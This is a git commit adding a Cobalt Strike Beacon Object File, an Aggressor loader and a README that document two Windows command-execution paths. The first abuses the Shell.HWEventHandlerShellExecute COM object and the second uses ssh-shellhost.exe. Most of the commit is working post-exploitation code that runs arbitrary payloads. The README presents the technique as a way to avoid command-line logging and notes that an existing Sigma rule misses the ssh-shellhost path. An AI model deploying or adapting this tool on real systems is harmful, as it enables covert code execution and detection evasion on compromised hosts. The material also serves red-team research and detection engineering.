commit stuff

2026-06-21 19:40:34 +00:00 · 2026-06-20 20:28:37 +03:00
parent 6d42f88268
commit 387b14d7f5
12 changed files with 585 additions and 1 deletions
@@ -1,2 +1,98 @@
 # ShellHWEventExec
-Some windows execution-path notes from digging through COM local servers and OpenSSH binaries, including a BOF for Shell.HWEventHandlerShellExecute and notes on ssh-shellhost.exe PTY-based command execution.
+
+Some results from hunting undocumented execution paths in Windows COM local servers and OpenSSH binaries. This covers a few fresh LOLBins that are not in LOLBAS yet, plus a COM-based take on an already known Shell32 execution primitive that I did not find documented offensively.
+
+This BOF covers the COM primitive. It runs a command through `Shell.HWEventHandlerShellExecute`, which is the COM object Windows uses internally for AutoPlay hardware events. Normally AutoPlay reads an `InitCmdLine` value from the registry and passes it into `IHWEventHandler::Initialize` before firing the event, but you can instantiate the object yourself and pass your own command line directly.
+
+```text
+CoCreateInstance({FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}, CLSCTX_LOCAL_SERVER, IID_IHWEventHandler)
+IHWEventHandler::Initialize("<cmdline>")
+IHWEventHandler::HandleEvent("BOFDevice", "", "DeviceArrival")
+```
+
+No AutoPlay registry handler, no real USB event, and no `ShellExec_RunDLL` string sitting on the command line. This is not UAC, not LPE, and not lateral movement. It is just a same-user Shell COM execution path that happens to work nicely from a BOF.
+
+![ShellHWEventExec running from Mythic](imgs/image-3.png)
+
+The normal Shell32 LOLBAS trick is already known:
+
+```text
+rundll32.exe shell32.dll,ShellExec_RunDLL payload.exe
+```
+
+It works, but from a logging side the command line is very obvious because it literally contains `ShellExec_RunDLL`. This path reaches the same general ShellExecute behavior from another angle so instead of calling the exported function directly, the BOF asks COM for the Shell AutoPlay handler and feeds the command through `Initialize`.
+
+```text
+BOF -> COM -> Shell.HWEventHandlerShellExecute -> IHWEventHandler -> payload
+```
+
+![](imgs/image-2.png)
+
+## how it was found
+
+I was looking through Windows COM local servers for anything that could take controlled input and eventually get near process execution. This one caught my eye in the COM registry:
+
+```text
+CLSID:  {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}
+Name:   Shell Execute Hardware Event Handler
+ProgID: Shell.HWEventHandlerShellExecute
+Server: rundll32.exe shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}
+```
+
+![COM registration for Shell.HWEventHandlerShellExecute](imgs/image.png)
+
+The name was interesting, but the docs are what made it worth testing. Microsoft documents that `IHWEventHandler::Initialize` receives the `InitCmdLine` value, and the AutoPlay handler flow shows that this value gets passed into `Initialize` before the event methods are called.
+
+![IHWEventHandler docs showing InitCmdLine reaching Initialize](imgs/image-1.png)
+
+So the test was pretty simple we create the COM object, request `IID_IHWEventHandler`, pass a command line to `Initialize`, call `HandleEvent` with a fake device event, and see if the payload runs. It did. Direct EXE paths also worked, so `cmd.exe` is optional and only needed if you want shell behavior.
+
+The registered server behind the CLSID is:
+
+```text
+rundll32.exe shell32.dll,SHCreateLocalServerRunDll {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7}
+```
+
+The BOF does not manually spawn that. COM handles local server activation by itself when `CoCreateInstance` is called. In local testing the marker ran at Medium IL with `explorer.exe` as the parent, but parentage can shift depending on build and timing, so do not treat that part as guaranteed. Capture what actually happens on your own host.
+
+## usage
+
+```text
+autoplay_hwevent "C:\Windows\System32\notepad.exe"
+autoplay_hwevent "C:\Windows\System32\cmd.exe /c whoami > C:\Temp\hw.txt"
+autoplay_hwevent "C:\Path\payload.exe arg1 arg2" "DeviceArrival" "BOFDevice"
+```
+
+---
+
+## ssh-shellhost.exe
+
+![](imgs/image-5.png)
+
+```text
+C:\Windows\System32\OpenSSH\ssh-shellhost.exe
+```
+
+`ssh-shellhost.exe` is the Windows OpenSSH PTY helper. Normally `sshd.exe` uses it when a PTY-backed shell is needed, but the binary also accepts the PTY command line directly.
+
+```text
+C:\Windows\System32\OpenSSH\ssh-shellhost.exe ---pty C:\Windows\System32\notepad.exe --width 120 --height 30
+```
+
+`ssh.exe`, `scp.exe`, and `sftp.exe` already get attention, but this helper is easier to miss because it usually looks like an internal server-side OpenSSH component.
+
+![](imgs/image-6.png)
+
+There is one Sigma rule that references it:
+
+```text
+https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_comodo_ssh_shellhost_cmd_spawn/
+```
+
+That rule is scoped to Comodo-specific behavior, not the direct PTY execution path covered here so it's  not something that was designed to catch it's execution hopefully.
+
+---
+
+## detection
+
+Elastic will probably cover this in a day.
@@ -0,0 +1,130 @@
+#include <windows.h>
+#include "beacon.h"
+
+#ifdef _MSC_VER
+DECLSPEC_IMPORT int     __stdcall KERNEL32$MultiByteToWideChar( UINT, DWORD, LPCCH, int, LPWSTR, int );
+DECLSPEC_IMPORT LPWSTR  __stdcall KERNEL32$lstrcpynW( LPWSTR, LPCWSTR, int );
+DECLSPEC_IMPORT HRESULT __stdcall OLE32$CoInitializeEx( LPVOID, DWORD );
+DECLSPEC_IMPORT void    __stdcall OLE32$CoUninitialize( void );
+DECLSPEC_IMPORT HRESULT __stdcall OLE32$CoCreateInstance( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
+#else
+DFR( KERNEL32, MultiByteToWideChar );
+DFR( KERNEL32, lstrcpynW );
+DFR( OLE32,    CoInitializeEx );
+DFR( OLE32,    CoUninitialize );
+DFR( OLE32,    CoCreateInstance );
+#endif
+
+// the autoplay interface we need
+// only these three slots matter after iunknown
+typedef struct IHWEventHandler IHWEventHandler;
+
+typedef struct IHWEventHandlerVtbl {
+    HRESULT ( STDMETHODCALLTYPE *QueryInterface        )( IHWEventHandler *This, REFIID riid, void **ppv );
+    ULONG   ( STDMETHODCALLTYPE *AddRef                )( IHWEventHandler *This );
+    ULONG   ( STDMETHODCALLTYPE *Release               )( IHWEventHandler *This );
+    HRESULT ( STDMETHODCALLTYPE *Initialize            )( IHWEventHandler *This, LPCWSTR pszParams );
+    HRESULT ( STDMETHODCALLTYPE *HandleEvent           )( IHWEventHandler *This, LPCWSTR pszDeviceID, LPCWSTR pszAltDeviceID, LPCWSTR pszEventType );
+    HRESULT ( STDMETHODCALLTYPE *HandleEventWithContent )( IHWEventHandler *This, LPCWSTR pszDeviceID, LPCWSTR pszAltDeviceID, LPCWSTR pszEventType, LPCWSTR pszContentTypeHandler, void *pdataobject );
+} IHWEventHandlerVtbl;
+
+struct IHWEventHandler {
+    IHWEventHandlerVtbl *lpVtbl;
+};
+
+// shell shipped handler that does the shellexecute part for autoplay
+static const GUID CLSID_ShellHWEventHandlerShellExecute = { 0xFFB8655F, 0x81B9, 0x4fce, { 0xB8, 0x9C, 0x9A, 0x6B, 0xA7, 0x6D, 0x13, 0xE7 } };
+
+// documented autoplay event handler interface
+static const GUID IID_IHWEventHandler = { 0xC1FB73D0, 0xEC3A, 0x4BA2, { 0xB5, 0x12, 0x8C, 0xDB, 0x91, 0x87, 0xB6, 0xD1 } };
+
+void go( char *args, int alen ) {
+    datap parser;
+    char *cmd_a, *event_a, *device_a;
+    WCHAR  cmd_w[2048];
+    WCHAR  event_w[256];
+    WCHAR  device_w[256];
+    IHWEventHandler *handler;
+    HRESULT hr_com, hr_init, hr_event;
+    int coinit;
+
+    if ( !args || alen <= 0 ) {
+        BeaconPrintf( CALLBACK_ERROR, "[x] ShellHWEventExec\n\tmissing\tcmdline\n\tusage\tautoplay_hwevent \"<cmdline>\" [event] [device]\n" );
+        return;
+    }
+
+    // pull operator args from the cna
+    BeaconDataParse( &parser, args, alen );
+    cmd_a    = BeaconDataExtract( &parser, NULL );
+    event_a  = BeaconDataExtract( &parser, NULL );
+    device_a = BeaconDataExtract( &parser, NULL );
+
+    if ( !cmd_a || !cmd_a[0] ) {
+        BeaconPrintf( CALLBACK_ERROR, "[x] ShellHWEventExec\n\tmissing\tcmdline\n\tusage\tautoplay_hwevent \"<cmdline>\" [event] [device]\n" );
+        return;
+    }
+
+    // shell wants wide strings because of course it does
+    if ( KERNEL32$MultiByteToWideChar( CP_UTF8, 0, cmd_a, -1, cmd_w, 2048 ) <= 0 ) {
+        BeaconPrintf( CALLBACK_ERROR, "[x] ShellHWEventExec\n\tconvert\tcmdline to wide string failed\n" );
+        return;
+    }
+
+    // boring defaults are fine
+    KERNEL32$lstrcpynW( event_w,  L"DeviceArrival", 256 );
+    KERNEL32$lstrcpynW( device_w, L"BOFDevice",     256 );
+
+    if ( event_a  && event_a[0]  ) KERNEL32$MultiByteToWideChar( CP_UTF8, 0, event_a,  -1, event_w,  256 );
+    if ( device_a && device_a[0] ) KERNEL32$MultiByteToWideChar( CP_UTF8, 0, device_a, -1, device_w, 256 );
+
+    handler = NULL;
+    coinit  = 0;
+
+    BeaconPrintf( CALLBACK_OUTPUT, "[*] ShellHWEventExec\n" );
+    BeaconPrintf( CALLBACK_OUTPUT, "[*] %ls\n\n", cmd_w );
+
+    // apartment com because shell stuff gets weird otherwise
+    hr_com = OLE32$CoInitializeEx( NULL, 0x2 );
+    if ( hr_com == S_OK || hr_com == S_FALSE )
+        coinit = 1;
+    else if ( (DWORD)hr_com != 0x80010106UL ) {
+        BeaconPrintf( CALLBACK_ERROR, "[x] CoInitializeEx failed (0x%08lx)\n", (DWORD)hr_com );
+        return;
+    }
+
+    // ask com for the shell autoplay handler
+    // no shellexec_rundll on our command line
+    hr_init = OLE32$CoCreateInstance(
+        &CLSID_ShellHWEventHandlerShellExecute,
+        NULL,
+        0x4,
+        &IID_IHWEventHandler,
+        (void **)&handler );
+
+    if ( FAILED( hr_init ) || !handler ) {
+        BeaconPrintf( CALLBACK_ERROR, "[x] CoCreateInstance failed (0x%08lx) -- handler not registered?\n", (DWORD)hr_init );
+        goto cleanup;
+    }
+
+    BeaconPrintf( CALLBACK_OUTPUT, "[+] {FFB8655F-81B9-4fce-B89C-9A6BA76D13E7} acquired via CLSCTX_LOCAL_SERVER\n" );
+    BeaconPrintf( CALLBACK_OUTPUT, "[+] server -> rundll32.exe shell32.dll,SHCreateLocalServerRunDll\n" );
+
+    // initialize gets our cmdline then handleevent makes shell do the thing
+    hr_init  = handler->lpVtbl->Initialize( handler, cmd_w );
+    hr_event = handler->lpVtbl->HandleEvent( handler, device_w, L"", event_w );
+
+    if ( SUCCEEDED( hr_init ) && SUCCEEDED( hr_event ) ) {
+        BeaconPrintf( CALLBACK_OUTPUT, "[+] IHWEventHandler::Initialize -> cmdline set\n" );
+        BeaconPrintf( CALLBACK_OUTPUT, "[+] IHWEventHandler::HandleEvent -> %ls fired @ %ls\n", event_w, device_w );
+        BeaconPrintf( CALLBACK_OUTPUT, "[+] execution via shell32 (no ShellExec_RunDLL in cmdline)\n" );
+    }
+    else {
+        BeaconPrintf( CALLBACK_ERROR, "[x] Initialize  0x%08lx\n",  (DWORD)hr_init );
+        BeaconPrintf( CALLBACK_ERROR, "[x] HandleEvent 0x%08lx\n", (DWORD)hr_event );
+    }
+
+cleanup:
+    // dont leak the com object in beacon
+    if ( handler ) handler->lpVtbl->Release( handler );
+    if ( coinit  ) OLE32$CoUninitialize();
+}
@@ -0,0 +1,41 @@
+# Aggressor loader for AutoPlay-HWEventHandler-BOF.
+#
+# Usage from Beacon:
+#   autoplay_hwevent "C:\Windows\System32\notepad.exe"
+#   autoplay_hwevent "C:\Windows\System32\cmd.exe /c whoami > %TEMP%\hw.txt"
+#   autoplay_hwevent "C:\Path\payload.exe arg1 arg2" "DeviceArrival" "BOFDevice"
+
+beacon_command_register(
+    "autoplay_hwevent",
+    "ShellHWEventExec: fire a command through Shell.HWEventHandlerShellExecute",
+    "Usage: autoplay_hwevent \"<cmdline>\" [event] [device]\n" .
+    "\troute\t: COM -> IHWEventHandler::Initialize -> HandleEvent\n" .
+    "\tevent\t: DeviceArrival\n" .
+    "\tdevice\t: BOFDevice\n"
+);
+
+alias autoplay_hwevent {
+    local('$bid $cmd $event $device $packed $bof');
+    $bid = $1;
+
+    if (size(@_) < 2) {
+        berror($bid, "ShellHWEventExec: autoplay_hwevent \"<cmdline>\" [event] [device]");
+        return;
+    }
+
+    $cmd = $2;
+    $event = "DeviceArrival";
+    $device = "BOFDevice";
+
+    if (size(@_) >= 3) {
+        $event = $3;
+    }
+
+    if (size(@_) >= 4) {
+        $device = $4;
+    }
+
+    $bof = script_resource("compiled/autoplay_hwevent_bof.x64.o");
+    $packed = bof_pack($bid, "zzz", $cmd, $event, $device);
+    beacon_inline_execute($bid, $bof, "go", $packed);
+}
@@ -0,0 +1,317 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ *    7/18/2023: Added BeaconInformation API for 4.9
+ *    7/31/2023: Added Key/Value store APIs for 4.9
+ *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
+ *    8/31/2023: Added Data store APIs for 4.9
+ *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
+ *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
+ *    9/01/2023: Added BeaconGetCustomUserData API for 4.9
+ *    3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
+ *               Updated the BEACON_INFO data structure to add new parameters
+ *    4/19/2024: Added BeaconGetSyscallInformation API for 4.10
+ *    4/25/2024: Added APIs to call Beacon's system call implementation
+ *    12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
+ *    2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
+ *    3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
+ *    4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
+ *    7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
+ */
+#ifndef _BEACON_H_
+#define _BEACON_H_
+#include <windows.h>
+
+#undef DFR
+#ifdef _MSC_VER
+#define DFR(MODULE, FUNCTION)
+#else
+#define DFR(module, function) __attribute__((dllimport)) __typeof__(function) module##$##function
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original;
+	char * buffer;
+	int    length;
+	int    size;
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, const char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, const char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* output */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+#define CALLBACK_CUSTOM      0x1000
+#define CALLBACK_CUSTOM_LAST 0x13ff
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, const char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, const char * fmt, ...);
+DECLSPEC_IMPORT BOOL   BeaconDownload(const char * filename, const char* buffer, unsigned int length);
+
+/* token */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* spawn+inject */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* utility */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);
+
+/* beacon information */
+typedef struct {
+	char * ptr;
+	size_t size;
+} HEAP_RECORD;
+#define MASK_SIZE 13
+
+typedef enum {
+	PURPOSE_EMPTY,
+	PURPOSE_GENERIC_BUFFER,
+	PURPOSE_BEACON_MEMORY,
+	PURPOSE_SLEEPMASK_MEMORY,
+	PURPOSE_BOF_MEMORY,
+	PURPOSE_UDC2_MEMORY,
+	PURPOSE_USER_DEFINED_MEMORY = 1000
+} ALLOCATED_MEMORY_PURPOSE;
+
+typedef enum {
+	LABEL_EMPTY,
+	LABEL_BUFFER,
+	LABEL_PEHEADER,
+	LABEL_TEXT,
+	LABEL_RDATA,
+	LABEL_DATA,
+	LABEL_PDATA,
+	LABEL_RELOC,
+	LABEL_USER_DEFINED = 1000
+} ALLOCATED_MEMORY_LABEL;
+
+typedef enum {
+	METHOD_UNKNOWN,
+	METHOD_VIRTUALALLOC,
+	METHOD_HEAPALLOC,
+	METHOD_MODULESTOMP,
+	METHOD_NTMAPVIEW,
+	METHOD_USER_DEFINED = 1000,
+} ALLOCATED_MEMORY_ALLOCATION_METHOD;
+
+typedef struct _HEAPALLOC_INFO {
+	PVOID HeapHandle;
+	BOOL  DestroyHeap;
+} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
+
+typedef struct _MODULESTOMP_INFO {
+	HMODULE ModuleHandle;
+} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
+
+typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
+	HEAPALLOC_INFO HeapAllocInfo;
+	MODULESTOMP_INFO ModuleStompInfo;
+	PVOID Custom;
+} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
+
+typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
+	BOOL Cleanup;
+	ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
+	ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
+} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
+
+typedef struct _ALLOCATED_MEMORY_SECTION {
+	ALLOCATED_MEMORY_LABEL Label;
+	PVOID  BaseAddress;
+	SIZE_T VirtualSize;
+	DWORD  CurrentProtect;
+	DWORD  PreviousProtect;
+	BOOL   MaskSection;
+	DWORD  DripLoadPageSize;
+} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
+
+typedef struct _ALLOCATED_MEMORY_REGION {
+	ALLOCATED_MEMORY_PURPOSE Purpose;
+	PVOID  AllocationBase;
+	SIZE_T RegionSize;
+	DWORD  Type;
+	DWORD  DripLoadAllocationGranularity;
+	ALLOCATED_MEMORY_SECTION Sections[8];
+	ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation;
+} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
+
+typedef struct {
+	ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
+} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
+
+typedef struct {
+	unsigned int version;
+	char  * sleep_mask_ptr;
+	DWORD   sleep_mask_text_size;
+	DWORD   sleep_mask_total_size;
+	char  * beacon_ptr;
+	HEAP_RECORD * heap_records;
+	char    mask[MASK_SIZE];
+	ALLOCATED_MEMORY allocatedMemory;
+} BEACON_INFO, *PBEACON_INFO;
+
+DECLSPEC_IMPORT BOOL   BeaconInformation(PBEACON_INFO info);
+
+/* key/value store */
+DECLSPEC_IMPORT BOOL   BeaconAddValue(const char * key, void * ptr);
+DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
+DECLSPEC_IMPORT BOOL   BeaconRemoveValue(const char * key);
+
+/* data store */
+#define DATA_STORE_TYPE_EMPTY        0
+#define DATA_STORE_TYPE_GENERAL_FILE 1
+
+typedef struct {
+	int    type;
+	DWORD64 hash;
+	BOOL   masked;
+	char * buffer;
+	size_t length;
+} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
+
+DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
+DECLSPEC_IMPORT void               BeaconDataStoreProtectItem(size_t index);
+DECLSPEC_IMPORT void               BeaconDataStoreUnprotectItem(size_t index);
+DECLSPEC_IMPORT size_t             BeaconDataStoreMaxEntries();
+
+DECLSPEC_IMPORT char * BeaconGetCustomUserData();
+
+/* syscall API */
+typedef struct {
+	PVOID fnAddr;
+	PVOID jmpAddr;
+	DWORD sysnum;
+} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
+
+typedef struct {
+	SYSCALL_API_ENTRY ntAllocateVirtualMemory;
+	SYSCALL_API_ENTRY ntProtectVirtualMemory;
+	SYSCALL_API_ENTRY ntFreeVirtualMemory;
+	SYSCALL_API_ENTRY ntGetContextThread;
+	SYSCALL_API_ENTRY ntSetContextThread;
+	SYSCALL_API_ENTRY ntResumeThread;
+	SYSCALL_API_ENTRY ntCreateThreadEx;
+	SYSCALL_API_ENTRY ntOpenProcess;
+	SYSCALL_API_ENTRY ntOpenThread;
+	SYSCALL_API_ENTRY ntClose;
+	SYSCALL_API_ENTRY ntCreateSection;
+	SYSCALL_API_ENTRY ntMapViewOfSection;
+	SYSCALL_API_ENTRY ntUnmapViewOfSection;
+	SYSCALL_API_ENTRY ntQueryVirtualMemory;
+	SYSCALL_API_ENTRY ntDuplicateObject;
+	SYSCALL_API_ENTRY ntReadVirtualMemory;
+	SYSCALL_API_ENTRY ntWriteVirtualMemory;
+	SYSCALL_API_ENTRY ntReadFile;
+	SYSCALL_API_ENTRY ntWriteFile;
+	SYSCALL_API_ENTRY ntCreateFile;
+	SYSCALL_API_ENTRY ntQueueApcThread;
+	SYSCALL_API_ENTRY ntCreateProcess;
+	SYSCALL_API_ENTRY ntOpenProcessToken;
+	SYSCALL_API_ENTRY ntTestAlert;
+	SYSCALL_API_ENTRY ntSuspendProcess;
+	SYSCALL_API_ENTRY ntResumeProcess;
+	SYSCALL_API_ENTRY ntQuerySystemInformation;
+	SYSCALL_API_ENTRY ntQueryDirectoryFile;
+	SYSCALL_API_ENTRY ntSetInformationProcess;
+	SYSCALL_API_ENTRY ntSetInformationThread;
+	SYSCALL_API_ENTRY ntQueryInformationProcess;
+	SYSCALL_API_ENTRY ntQueryInformationThread;
+	SYSCALL_API_ENTRY ntOpenSection;
+	SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
+	SYSCALL_API_ENTRY ntDeviceIoControlFile;
+	SYSCALL_API_ENTRY ntWaitForMultipleObjects;
+} SYSCALL_API, *PSYSCALL_API;
+
+typedef struct {
+	PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
+	PVOID rtlFreeHeapAddr;
+	PVOID rtlGetProcessHeapAddr;
+} RTL_API, *PRTL_API;
+
+typedef struct {
+	SYSCALL_API syscalls;
+	RTL_API     rtls;
+} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
+
+DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
+
+DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+DECLSPEC_IMPORT BOOL   BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
+DECLSPEC_IMPORT BOOL   BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
+DECLSPEC_IMPORT BOOL   BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+DECLSPEC_IMPORT BOOL   BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
+DECLSPEC_IMPORT BOOL   BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
+DECLSPEC_IMPORT DWORD  BeaconResumeThread(HANDLE threadHandle);
+DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
+DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
+DECLSPEC_IMPORT BOOL   BeaconCloseHandle(HANDLE object);
+DECLSPEC_IMPORT BOOL   BeaconUnmapViewOfFile(LPCVOID baseAddress);
+DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
+DECLSPEC_IMPORT BOOL   BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
+DECLSPEC_IMPORT BOOL   BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
+DECLSPEC_IMPORT BOOL   BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
+
+DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
+DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
+DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
+DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
+
+#define DLL_BEACON_USER_DATA        0x0d
+#define BEACON_USER_DATA_CUSTOM_SIZE 32
+typedef struct {
+	unsigned int  version;
+	PSYSCALL_API  syscalls;
+	char          custom[BEACON_USER_DATA_CUSTOM_SIZE];
+	PRTL_API      rtls;
+	PALLOCATED_MEMORY allocatedMemory;
+} USER_DATA, *PUSER_DATA;
+
+#ifdef __cplusplus
+}
+#endif
+#endif /* _BEACON_H_ */